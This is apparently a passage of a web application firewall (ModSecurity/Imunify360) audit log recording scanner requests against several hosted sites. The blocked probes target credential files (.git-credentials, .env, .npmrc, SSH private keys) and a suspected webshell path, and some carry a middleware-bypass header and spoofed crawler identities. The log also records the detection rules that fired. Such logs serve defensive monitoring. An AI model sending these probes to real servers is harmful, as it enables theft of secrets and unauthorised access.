Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Referer: https://www.happydigital.co.uk/.git/credentials

--a5540354-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--a5540354-E--

--a5540354-H--
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/.git/credentials"] [unique_id "aqYxBSsVWymXUono-eRR-QAAABg"]
Stopwatch: 1789276421138746 5778 (- - -)
Stopwatch2: 1789276421138746 5778; combined=4291, p1=265, p2=3907, p3=68, p4=8, p5=42, sr=124, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a5540354-Z--

--a38b134c-A--
[13/Sep/2026:08:13:41.714673 +0300] aqYxBWM7dE9KgIIOpQhlIAAAAMs 34.146.38.117 50080 127.0.0.1 7081
--a38b134c-B--
GET /.git-credentials HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 34.146.38.117
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Referer: https://www.happydigital.co.uk/.git-credentials

--a38b134c-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--a38b134c-E--

--a38b134c-H--
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git-credentials||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/.git-credentials"] [unique_id "aqYxBWM7dE9KgIIOpQhlIAAAAMs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git-credentials" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git-credentials||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/.git-credentials"] [unique_id "aqYxBWM7dE9KgIIOpQhlIAAAAMs"]
Stopwatch: 1789276421705958 8766 (- - -)
Stopwatch2: 1789276421705958 8766; combined=7351, p1=2003, p2=5238, p3=62, p4=6, p5=42, sr=1801, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a38b134c-Z--

--5f75446b-A--
[13/Sep/2026:08:13:42.286344 +0300] aqYxBmM7dE9KgIIOpQhlIgAAAME 34.146.38.117 50102 127.0.0.1 7081
--5f75446b-B--
GET /.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 34.146.38.117
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Referer: https://www.happydigital.co.uk/.env

--5f75446b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--5f75446b-E--

--5f75446b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/.env"] [unique_id "aqYxBmM7dE9KgIIOpQhlIgAAAME"]
Stopwatch: 1789276422281357 5038 (- - -)
Stopwatch2: 1789276422281357 5038; combined=3855, p1=283, p2=3467, p3=58, p4=7, p5=40, sr=107, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5f75446b-Z--

--0636856a-A--
[13/Sep/2026:08:13:44.015260 +0300] aqYxCDTJ6xTvcJoem7f3JQAAAFI 34.146.38.117 50174 127.0.0.1 7081
--0636856a-B--
GET /.npmrc HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 34.146.38.117
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Referer: https://www.happydigital.co.uk/.npmrc

--0636856a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--0636856a-E--

--0636856a-H--
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/.npmrc"] [unique_id "aqYxCDTJ6xTvcJoem7f3JQAAAFI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/.npmrc"] [unique_id "aqYxCDTJ6xTvcJoem7f3JQAAAFI"]
Stopwatch: 1789276424004487 10827 (- - -)
Stopwatch2: 1789276424004487 10827; combined=6454, p1=335, p2=5982, p3=79, p4=9, p5=49, sr=137, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0636856a-Z--

--e7725d76-A--
[13/Sep/2026:08:17:10.120530 +0300] aqYx1kwu1RSkptiiNIXxiwAAAIQ 95.134.102.250 34832 127.0.0.1 7081
--e7725d76-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.250
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--e7725d76-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--e7725d76-E--

--e7725d76-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789276630108668 12084 (- - -)
Stopwatch2: 1789276630108668 12084; combined=9281, p1=433, p2=8083, p3=169, p4=12, p5=583, sr=189, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e7725d76-Z--

--79e50e14-A--
[13/Sep/2026:08:17:10.445049 +0300] aqYx1kwu1RSkptiiNIXxjAAAAII 151.243.174.201 34842 127.0.0.1 7081
--79e50e14-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.201
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--79e50e14-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--79e50e14-E--

--79e50e14-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789276630435150 9947 (- - -)
Stopwatch2: 1789276630435150 9947; combined=7341, p1=510, p2=6283, p3=117, p4=12, p5=419, sr=199, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--79e50e14-Z--

--49da6b10-A--
[13/Sep/2026:08:17:10.585577 +0300] aqYx1mM7dE9KgIIOpQhl2wAAAMM 151.243.174.160 34854 127.0.0.1 7081
--49da6b10-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.160
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--49da6b10-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--49da6b10-E--

--49da6b10-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789276630574090 11637 (- - -)
Stopwatch2: 1789276630574090 11637; combined=8184, p1=461, p2=7213, p3=130, p4=14, p5=365, sr=157, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--49da6b10-Z--

--f640bd11-A--
[13/Sep/2026:08:17:10.861787 +0300] aqYx1mM7dE9KgIIOpQhl3AAAAMU 95.134.102.113 34866 127.0.0.1 7081
--f640bd11-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.113
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--f640bd11-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--f640bd11-E--

--f640bd11-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789276630852149 9689 (- - -)
Stopwatch2: 1789276630852149 9689; combined=7225, p1=403, p2=6238, p3=121, p4=13, p5=449, sr=164, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f640bd11-Z--

--e35d442c-A--
[13/Sep/2026:08:17:11.231603 +0300] aqYx1zTJ6xTvcJoem7f3PgAAAFM 151.243.174.98 34884 127.0.0.1 7081
--e35d442c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.98
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--e35d442c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--e35d442c-E--

--e35d442c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789276631221173 10633 (- - -)
Stopwatch2: 1789276631221173 10633; combined=7501, p1=448, p2=6469, p3=131, p4=23, p5=429, sr=185, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e35d442c-Z--

--f015c67e-A--
[13/Sep/2026:08:17:12.005083 +0300] aqYx10wu1RSkptiiNIXxjgAAAIY 95.134.102.156 34886 127.0.0.1 7081
--f015c67e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.156
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--f015c67e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--f015c67e-E--

--f015c67e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789276631992276 12933 (- - -)
Stopwatch2: 1789276631992276 12933; combined=9697, p1=502, p2=8566, p3=158, p4=17, p5=452, sr=252, sw=2, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f015c67e-Z--

--4969c35f-A--
[13/Sep/2026:08:18:29.042245 +0300] aqYyJEwu1RSkptiiNIXxpwAAAI4 159.223.78.43 60166 127.0.0.1 7081
--4969c35f-B--
GET /wp-admin/images/index.php HTTP/1.1
Host: behappydigital.com
X-Real-IP: 159.223.78.43
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*

--4969c35f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--4969c35f-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/wp-admin/images/index.php||SC:/var/www/vhosts/happy-digital.ro/httpdocs/wp-admin"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:08-18.159.223.78.43||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/wp-admin/images/index.php||SC:/var/www/vhosts/happy-digital.ro/httpdocs/wp-admin"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/wp-admin/images/index.php"] [unique_id "aqYyJEwu1RSkptiiNIXxpwAAAI4"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:08-18.159.223.78.43||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/wp-admin/images/index.php"] [unique_id "aqYyJEwu1RSkptiiNIXxpwAAAI4"]
Action: Intercepted (phase 2)
Stopwatch: 1789276708981925 60361 (- - -)
Stopwatch2: 1789276708981925 60361; combined=59076, p1=219, p2=58585, p3=0, p4=0, p5=272, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4969c35f-Z--

--82bab458-A--
[13/Sep/2026:08:30:09.255169 +0300] aqY04WM7dE9KgIIOpQhm9gAAAMI 136.70.168.129 35322 127.0.0.1 7081
--82bab458-B--
GET /.ssh/id_ed25519 HTTP/1.1
Host: chania24.taxi
X-Real-IP: 136.70.168.129
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--82bab458-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--82bab458-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "81"] [id "33311"] [msg "IM360 WAF: Found crawler not in whitelist||T:APACHE||User-Agent:Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)||MV:08-30.136.70.168.129"] [severity "CRITICAL"] [tag "service_i360"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Stopwatch: 1789277409221874 33357 (- - -)
Stopwatch2: 1789277409221874 33357; combined=30425, p1=312, p2=29822, p3=0, p4=0, p5=291, sr=138, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--82bab458-Z--

--19a48572-A--
[13/Sep/2026:08:30:14.577734 +0300] aqY04WM7dE9KgIIOpQhm9wAAANU 136.70.168.129 35338 127.0.0.1 7081
--19a48572-B--
GET /.ssh/id_ecdsa HTTP/1.1
Host: chania24.taxi
X-Real-IP: 136.70.168.129
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--19a48572-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link: <https://chania24.taxi/wp-json/>; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--19a48572-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ecdsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_ecdsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ecdsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "chania24.taxi"] [uri "/.ssh/id_ecdsa"] [unique_id "aqY04WM7dE9KgIIOpQhm9wAAANU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_ecdsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "chania24.taxi"] [uri "/.ssh/id_ecdsa"] [unique_id "aqY04WM7dE9KgIIOpQhm9wAAANU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789277409394767 5183049 (- - -)
Stopwatch2: 1789277409394767 5183049; combined=34026, p1=287, p2=33666, p3=0, p4=0, p5=72, sr=96, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--19a48572-Z--

--6c4b984e-A--
[13/Sep/2026:08:30:16.721348 +0300] aqY04Uwu1RSkptiiNIXyIgAAAIw 136.70.168.129 35418 127.0.0.1 7081
--6c4b984e-B--
GET /.ssh/id_rsa HTTP/1.1
Host: chania24.taxi
X-Real-IP: 136.70.168.129
User-Agent: Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--6c4b984e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link: <https://chania24.taxi/wp-json/>; rel="https://api.w.org/"
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--6c4b984e-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
